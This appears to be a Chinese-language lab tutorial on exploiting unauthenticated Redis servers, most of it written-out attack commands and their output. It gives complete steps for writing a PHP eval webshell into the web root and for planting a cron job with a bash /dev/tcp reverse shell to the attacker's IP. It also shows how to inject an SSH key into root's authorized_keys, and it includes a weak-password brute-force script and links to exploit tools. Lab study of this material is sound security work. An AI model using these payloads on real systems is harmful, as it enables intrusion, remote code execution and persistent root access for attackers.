Redis未授权访问

0x01、服务简介

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

Redis默认监听端口为6379

0x02、环境搭建

攻击机及受害机都需要安装redis

centos安装redis

1
2
3
4
5
6
7
wget http://download.redis.io/releases/redis-4.0.2.tar.gz
tar xzf redis-4.0.2.tar.gz
cd redis-4.0.2
make
//全局生效
cp src/redis-cli /usr/bin/
cp src/redis-server /usr/bin/

受害机编辑配置文件,去掉端口绑定,关闭安全模式,允许公网访问。

1
vi redis.conf

image-20200806171804011

运行命令启动redis

1
[root@localhost redis-4.0.2]# redis-server  redis.conf

image-20200806171925086

kali安装redis

下载redis

1
wget http://download.redis.io/redis-stable.tar.gz

解压缩

1
tar -zxvf redis-stable.tar.gz

简易配置

1
2
3
4
5
cd redis-stable 
make
//全局生效
cp src/redis-cli /usr/bin/
cp src/redis-server /usr/bin/

常规连接指令

1
redis-cli -h 目标主机IP地址 -p 端口号

0x03、数据操作

Redis删除数据

1
2
3
4
info   查看信息
KEYS * 显示所有key
del key 删除键为key的数据
flushall 删除所有key

扫描一下端口是开放的

image-20200806172016028

攻击机连接redis

1
redis-cli -h 192.168.126.133 -p 6379

image-20200806172955272

这样就代表连接成功了

0x04、利用Redis写入Webshell

启动http。php、mysql安装过程略

1
service httpd start

攻击机执行命令

1
2
3
4
5
6
7
8
9
10
#利用Redis写入Webshell
192.168.126.133:6379> config set dir /var/www/html/
OK
192.168.126.133:6379> config set dbfilename cmd.php
OK
192.168.126.133:6379> set webshell "\r\n\r\n<?php @eval($_POST['cmd']);?>\r\n\r\n"
OK
192.168.126.133:6379> save
OK
192.168.126.133:6379>

image-20200806173123992

我们去受害机看一下,可以看到成功写入文件,

image-20200806173220648

可以看到能正常执行代码

image-20200806173636742

0x05、计划任务反弹shell

该功能在Ubuntu/Debian上不能使用。因为ubuntu定时任务的文件权限必须为600。而redis的写入文件的权限为644。并且由于redis写入文件时会添加上redis版本等内容,所以在ubuntu/debian中会因语法错误而报错忽略:
(root) ERROR (Syntax error, this crontab file will be ignored)
但在centos是可以执行的。

攻击机监听端口

1
nc -lvvp 6666
1
2
3
4
5
6
7
8
9
#计划任务反弹shell
192.168.126.133:6379> set cmd "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.126.130/6666 0>&1\n\n"
OK
192.168.126.133:6379> config set dir /var/spool/cron
OK
192.168.126.133:6379> config set dbfilename root
OK
192.168.126.133:6379> save
OK

注意:ubuntu的计划任务目录在/var/spool/cron/crontabs

而centos在/var/spool/cron/

image-20200806173822584

成功返回shell

image-20200806173936002

Ubuntu计划任务不执行排查!!!

注意:此漏洞ubuntu不能用计划任务反弹shell

参考文章:https://www.phpyuan.com/266120.html

首先去开启cron日志

1
2
vim /etc/rsyslog.d/50-default.conf
#cron.*前的#删掉;

cron日志路径 /var/log/cron.log

通过查看发现错误

image-20200806140440341

这个的意思是错误发送给邮件服务器了,而邮件没有安装,我们安装邮件服务器

1
apt install postfix

安装完之后cron出错误会发送给你邮件

image-20200806140612285

image-20200806140646239

通过百度得出 sh软链接的是dash。而不是bash

image-20200806141227089

解决办法

将sh直接改了,直接指向/bin/bash

1
2
rm -f /bin/sh;
ln -sf /bin/bash /bin/sh

弹回来了。

image-20200806141534752

0x06、ssh免密登录

此功能需要root权限启用redis,对目录可写才可以。

1、生成ssh key

攻击方生成ssh key

1
root@kali:~# ssh-keygen -t rsa

image-20200806174302495

生成的key在/root/.ssh目录下,id_rsa.pub为公钥。id_rsa为私钥

image-20200806174338727

image-20200806180243045

2、将公钥写入文件

将之前生成的公钥写入文件中

Bash

1
2
cd ~/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> hack.txt

image-20200806181102519

3、将文件写入靶机

将hack.txt写入靶机Redis

Bash

1
cat hack.txt | redis-cli -h 192.168.126.133 -x set crack

image-20200806181201994

4、写入公钥

将公钥写入redis服务器的authorized_keys中

1
2
3
4
5
6
7
root@kali:~/.ssh# redis-cli -h 192.168.126.133 -p 6379 
192.168.126.133:6379> config set dir /root/.ssh/
OK
192.168.126.133:6379> config set dbfilename "authorized_keys"
OK
192.168.126.133:6379> save
OK

image-20200806181319511

回到受害机看一下文件是否存在

image-20200806180727206

此处有个坑。centos需要开启公钥登录

开启公钥登录

修改文件

1
# vim /etc/ssh/sshd_config

开启公钥登录

1
2
3
4
5
#开启秘钥登录
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
PermitRootLogin yes

还有一个大坑。

这时候仍然有可能无法使用ssh登录。我们调试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
ssh -i id_rsa root@192.168.126.133 -vv
OpenSSH_7.9p1 Debian-10, OpenSSL 1.1.1b 26 Feb 2019
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 19: Applying options for *
debug2: resolve_canonicalize: hostname 192.168.126.133 is address
debug2: ssh_connect_direct
debug1: Connecting to 192.168.126.133 [192.168.126.133] port 22.
debug1: Connection established.
debug1: identity file id_rsa type 0
debug1: identity file id_rsa-cert type -1
debug1: Local version string SSH-2.0-OpenSSH_7.9p1 Debian-10
debug1: Remote protocol version 2.0, remote software version OpenSSH_5.3
debug1: match: OpenSSH_5.3 pat OpenSSH_5* compat 0x0c000002
debug2: fd 3 setting O_NONBLOCK
debug1: Authenticating to 192.168.126.133:22 as 'root'
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug2: local client KEXINIT proposal
debug2: KEX algorithms: curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c
debug2: host key algorithms: rsa-sha2-512-cert-v01@openssh.com,rsa-sha2-256-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519
debug2: ciphers ctos: chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com
debug2: ciphers stoc: chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com
debug2: MACs ctos: umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1
debug2: MACs stoc: umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1
debug2: compression ctos: none,zlib@openssh.com,zlib
debug2: compression stoc: none,zlib@openssh.com,zlib
debug2: languages ctos:
debug2: languages stoc:
debug2: first_kex_follows 0
debug2: reserved 0
debug2: peer server KEXINIT proposal
debug2: KEX algorithms: diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
debug2: host key algorithms: ssh-rsa,ssh-dss
debug2: ciphers ctos: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se
debug2: ciphers stoc: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se
debug2: MACs ctos: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96
debug2: MACs stoc: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96
debug2: compression ctos: none,zlib@openssh.com
debug2: compression stoc: none,zlib@openssh.com
debug2: languages ctos:
debug2: languages stoc:
debug2: first_kex_follows 0
debug2: reserved 0
debug1: kex: algorithm: diffie-hellman-group-exchange-sha256
debug1: kex: host key algorithm: ssh-rsa
debug1: kex: server->client cipher: aes128-ctr MAC: umac-64@openssh.com compression: none
debug1: kex: client->server cipher: aes128-ctr MAC: umac-64@openssh.com compression: none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(2048<3072<8192) sent
debug1: got SSH2_MSG_KEX_DH_GEX_GROUP
debug2: bits set: 1515/3072
debug1: SSH2_MSG_KEX_DH_GEX_INIT sent
debug1: got SSH2_MSG_KEX_DH_GEX_REPLY
debug1: Server host key: ssh-rsa SHA256:Dkk9Um2I6tGXRCUBwZQ9Zph1BQ/XFepj45qGFPWcx/c
debug1: Host '192.168.126.133' is known and matches the RSA host key.
debug1: Found key in /root/.ssh/known_hosts:1
debug2: bits set: 1495/3072
debug2: set_newkeys: mode 1
debug1: rekey after 4294967296 blocks
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug1: SSH2_MSG_NEWKEYS received
debug2: set_newkeys: mode 0
debug1: rekey after 4294967296 blocks
debug1: Will attempt key: id_rsa RSA SHA256:5p3FaEVpSdLNef+xxdWi64eQC1COEt18BvPekZySmt4 explicit agent
debug2: pubkey_prepare: done
debug2: service_accept: ssh-userauth
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password
debug1: Next authentication method: gssapi-keyex
debug1: No valid Key exchange context
debug2: we did not send a packet, disable method
debug1: Next authentication method: gssapi-with-mic
debug1: Unspecified GSS failure. Minor code may provide more information
No Kerberos credentials available (default cache: FILE:/tmp/krb5cc_0)


debug1: Unspecified GSS failure. Minor code may provide more information
No Kerberos credentials available (default cache: FILE:/tmp/krb5cc_0)


debug2: we did not send a packet, disable method
debug1: Next authentication method: publickey
debug1: Offering public key: id_rsa RSA SHA256:5p3FaEVpSdLNef+xxdWi64eQC1COEt18BvPekZySmt4 explicit agent
debug2: we sent a publickey packet, wait for reply
debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password
debug2: we did not send a packet, disable method
debug1: Next authentication method: password
root@192.168.126.133's password:
debug2: we sent a password packet, wait for reply
debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password
Permission denied, please try again.
root@192.168.126.133's password:
debug2: we sent a password packet, wait for reply
debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password
Permission denied, please try again.
root@192.168.126.133's password:

这里的坑是centos的selinux在做怪

selinux

selinux是强制访问控制的一种策略,可以指明某一个进程访问哪些资源,在传统的linux中,一切皆文件,由用户、组和权限来控制访问,在selinux中,一切皆对象,由存放在扩展属性领域的安全元素控制访问,所有文件、端口、进程都具备安全上下文
selinux影响着:(1)程序访问文件(2)程序访问功能(微信),进程本身功能,开关。

查询selinux状态

使用命令

1
2
getenforce 
默认输出enforcing

命令:getenforce #查询结果有3种状态
1、enforcing #如果违反了策略,无法继续操作,表示强制
2、disabled #禁止
3、permissive #selinux有效,即是违法策略,依旧可以继续操作,但是会有警告,查看警告信息:cat /var/log/audit/audit.log

更改selinux状态

1
2
3
4
5
6
[root@localhost ~]# getenforce
Enforcing
[root@localhost ~]#vim /etc/sysconfig/selinux #修改selinux=permissive
[root@localhost ~]#reboot #重启
[root@localhost ~]# getenforce
permissive

5、ssh免密连接

1
ssh -i /root/.ssh/id_rsa root@192.168.126.133

image-20200806193037272

0x07、利用工具

未授权and弱口令检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"未授权访问"
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(pass_))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令,密码:%s" % (pass_)
except Exception, e:
pass
if __name__ == '__main__':
ip=sys.argv[1]
port=sys.argv[2]
print check(ip,port, timeout=10)

github利用工具:

https://github.com/Ridter/redis-rce

https://github.com/n0b0dyCN/redis-rogue-server